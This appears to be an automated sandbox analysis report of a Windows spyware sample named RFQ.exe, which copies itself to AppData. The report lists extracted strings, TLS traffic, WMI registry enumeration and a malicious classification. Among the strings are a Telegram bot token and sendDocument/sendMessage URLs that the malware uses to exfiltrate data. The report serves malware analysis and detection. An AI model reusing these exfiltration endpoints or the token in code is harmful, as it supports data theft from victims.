Source: wOPQRmK.exe, 0000000D.00000002.2131523146.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001454000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2131523146.0000000004119000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2134197652.00000000054E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://certificates.godaddy.com/repository/0
Source: wOPQRmK.exe, 0000000D.00000002.2131523146.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001454000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2131523146.0000000004119000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2134197652.00000000054E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://certificates.godaddy.com/repository/gdig2.crt0
Source: wOPQRmK.exe, 0000000D.00000002.2134197652.00000000054E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://certs.godaddy.com/re=
Source: wOPQRmK.exe, 0000000D.00000002.2131523146.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001454000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2134197652.00000000054E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://certs.godaddy.com/repository/1301
Source: wOPQRmK.exe, 0000000D.00000002.2131523146.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001454000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2131523146.0000000004119000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2134197652.00000000054E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.godaddy.com/gdig2s1-19134.crl0
Source: wOPQRmK.exe, 0000000D.00000002.2134197652.00000000054E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.godaddy.com/gdrooW
Source: wOPQRmK.exe, 0000000D.00000002.2131523146.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2131523146.0000000004158000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2134197652.00000000054E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.godaddy.com/gdroot-g2.crl0F
Source: wOPQRmK.exe, 0000000D.00000002.2131523146.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001454000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2134197652.00000000054E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.godaddy.com/gdroot.crl0F
Source: svchost.exe, 0000000F.00000002.2130656819.000001FC5D400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.15.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: wOPQRmK.exe, 0000000D.00000002.2134197652.00000000054E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.god
Source: wOPQRmK.exe, 0000000D.00000002.2131523146.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001454000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2131523146.0000000004119000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2134197652.00000000054E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.godaddy.com/0
Source: wOPQRmK.exe, 0000000D.00000002.2131523146.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001454000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2134197652.00000000054E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.godaddy.com/02
Source: wOPQRmK.exe, 0000000D.00000002.2131523146.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2131523146.0000000004158000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2134197652.00000000054E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.godaddy.com/05
Source: RFQ.exe, 00000000.00000002.894062078.0000000002601000.00000004.00000800.00020000.00000000.sdmp, wOPQRmK.exe, 00000008.00000002.935973086.000000000248E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RFQ.exe, 00000007.00000002.2128472558.00000000010F5000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://showip.net/
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003FAD000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.0000000001108000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/
Source: wOPQRmK.exe, 0000000D.00000002.2131523146.000000000416A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/=
Source: RFQ.exe, RFQ.exe, 00000007.00000002.2126948877.0000000000401000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003FAD000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2131523146.000000000416A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=
Source: wOPQRmK.exe, 0000000D.00000002.2134088355.00000000045E3000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.00000000013D8000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2131523146.00000000040C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732
Source: wOPQRmK.exe, 0000000D.00000002.2131523146.000000000416A000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendMessage?chat_id=67324
Source: wOPQRmK.exe, 0000000D.00000002.2131523146.000000000416A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/e
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003ED0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/t
Source: wOPQRmK.exe, 0000000D.00000002.2134197652.00000000054E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://certs.goN
Source: wOPQRmK.exe, 0000000D.00000002.2131523146.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001454000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2131523146.0000000004158000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2134197652.00000000054E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://certs.godaddy.com/repository/0
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fundingchoicesmessages.google.com/i/pub-87901
Source: edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000F.00000003.1203168139.000001FC5D2F0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001108000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: wOPQRmK.exe, 0000000D.00000002.2131523146.000000000416A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.comm
Source: qmgr.db.15.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49693
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49690
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49689 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49689
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49683 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49683 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49689 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49690 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49695 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49698 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49721 version: TLS 1.2

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: RFQ.exe

Writes or reads registry keys via WMI

Source: C:\Users\user\Desktop\RFQ.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
Source: C:\Users\user\Desktop\RFQ.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
Source: C:\Users\user\Desktop\RFQ.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Users\user\Desktop\RFQ.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
Source: C:\Users\user\Desktop\RFQ.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
Source: C:\Users\user\Desktop\RFQ.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Users\user\Desktop\RFQ.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
Source: C:\Users\user\Desktop\RFQ.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
Source: C:\Users\user\Desktop\RFQ.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Users\user\Desktop\RFQ.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
Source: C:\Users\user\Desktop\RFQ.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
Source: C:\Users\user\Desktop\RFQ.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Users\user\Desktop\RFQ.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
Source: C:\Users\user\Desktop\RFQ.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
Source: C:\Users\user\Desktop\RFQ.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Users\user\Desktop\RFQ.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
Source: C:\Users\user\Desktop\RFQ.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
Source: C:\Users\user\Desktop\RFQ.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\Desktop\RFQ.exe	Code function: 0_2_00973E34	0_2_00973E34
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 0_2_00976F98	0_2_00976F98
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 0_2_0097DA9C	0_2_0097DA9C
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 0_2_04BE8FD8	0_2_04BE8FD8
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 0_2_04BE0518	0_2_04BE0518
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 0_2_04BE0514	0_2_04BE0514
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 0_2_04BE8FCB	0_2_04BE8FCB
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 0_2_06900931	0_2_06900931
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 0_2_06A364D0	0_2_06A364D0
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 0_2_06A38418	0_2_06A38418
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 0_2_06A3E568	0_2_06A3E568
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 0_2_06A37178	0_2_06A37178
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 0_2_06A3DF8F	0_2_06A3DF8F
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 0_2_06A36D40	0_2_06A36D40
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 0_2_06A36908	0_2_06A36908
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 7_2_004085DD	7_2_004085DD
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Code function: 8_2_00A63E34	8_2_00A63E34
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Code function: 8_2_00A66F92	8_2_00A66F92
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Code function: 8_2_00A6DA9C	8_2_00A6DA9C
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Code function: 8_2_049B8FD8	8_2_049B8FD8
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Code function: 8_2_049B0518	8_2_049B0518
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Code function: 8_2_049B0508	8_2_049B0508
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Code function: 8_2_049B8FC8	8_2_049B8FC8
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Code function: 8_2_04A1A9E8	8_2_04A1A9E8
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Code function: 8_2_04A1A9D8	8_2_04A1A9D8
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Code function: 8_2_04FD0778	8_2_04FD0778
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Code function: 8_2_04FD0920	8_2_04FD0920
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Code function: 8_2_068BD748	8_2_068BD748
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Code function: 8_2_068B64D0	8_2_068B64D0
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Code function: 8_2_068B8418	8_2_068B8418
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Code function: 8_2_068BD1C8	8_2_068BD1C8
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Code function: 8_2_068B7178	8_2_068B7178
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Code function: 8_2_068B6D40	8_2_068B6D40
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Code function: 8_2_068B6908	8_2_068B6908

Source: RFQ.exe, 00000000.00000002.907333501.0000000006E98000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs RFQ.exe
Source: RFQ.exe, 00000000.00000002.907333501.0000000006E98000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamexuwv.exeD vs RFQ.exe
Source: RFQ.exe, 00000000.00000002.897305402.0000000003609000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedevourment.exe vs RFQ.exe
Source: RFQ.exe, 00000000.00000002.897305402.0000000003609000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs RFQ.exe
Source: RFQ.exe, 00000000.00000002.893010566.000000000064E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs RFQ.exe
Source: RFQ.exe, 00000000.00000002.894062078.0000000002675000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTL.dll" vs RFQ.exe
Source: RFQ.exe, 00000000.00000002.905435829.0000000006D20000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs RFQ.exe
Source: RFQ.exe, 00000000.00000002.904026019.00000000051C0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTL.dll" vs RFQ.exe
Source: RFQ.exe	Binary or memory string: OriginalFilenamexuwv.exeD vs RFQ.exe

Source: RFQ.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: RFQ.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: wOPQRmK.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.RFQ.exe.6d20000.6.raw.unpack, mWTkF6PlrHgZZRkFic.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.RFQ.exe.6d20000.6.raw.unpack, mWTkF6PlrHgZZRkFic.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.RFQ.exe.6d20000.6.raw.unpack, mWTkF6PlrHgZZRkFic.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.RFQ.exe.6d20000.6.raw.unpack, E1Dqe4UuwgCB70pur6.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.RFQ.exe.6d20000.6.raw.unpack, E1Dqe4UuwgCB70pur6.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: wOPQRmK.exe	Binary or memory string: *\AC:\Users\ik\AppData\Roaming\Microsoft\Windows\Templates\Stub\Project1.vbp
Source: RFQ.exe, RFQ.exe, 00000007.00000002.2126948877.0000000000401000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: D*\AC:\Users\ik\AppData\Roaming\Microsoft\Windows\Templates\Stub\Project1.vbp
Source: RFQ.exe, 00000007.00000002.2126948877.0000000000448000.00000040.00000400.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2126931621.0000000000439000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: (K@*\AC:\Users\ik\AppData\Roaming\Microsoft\Windows\Templates\Stub\Project1.vbp !j

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@19/57@2/3

Source: C:\Users\user\Desktop\RFQ.exe

File created: C:\Users\user\AppData\Roaming\wOPQRmK.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2668:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6472:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6232:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7296:120:WilError_03

Source: C:\Users\user\Desktop\RFQ.exe

File created: C:\Users\user\AppData\Local\Temp\tmpD6E6.tmp

Jump to behavior

Source: RFQ.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: RFQ.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\RFQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process
Source: C:\Users\user\Desktop\RFQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\RFQ.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\RFQ.exe

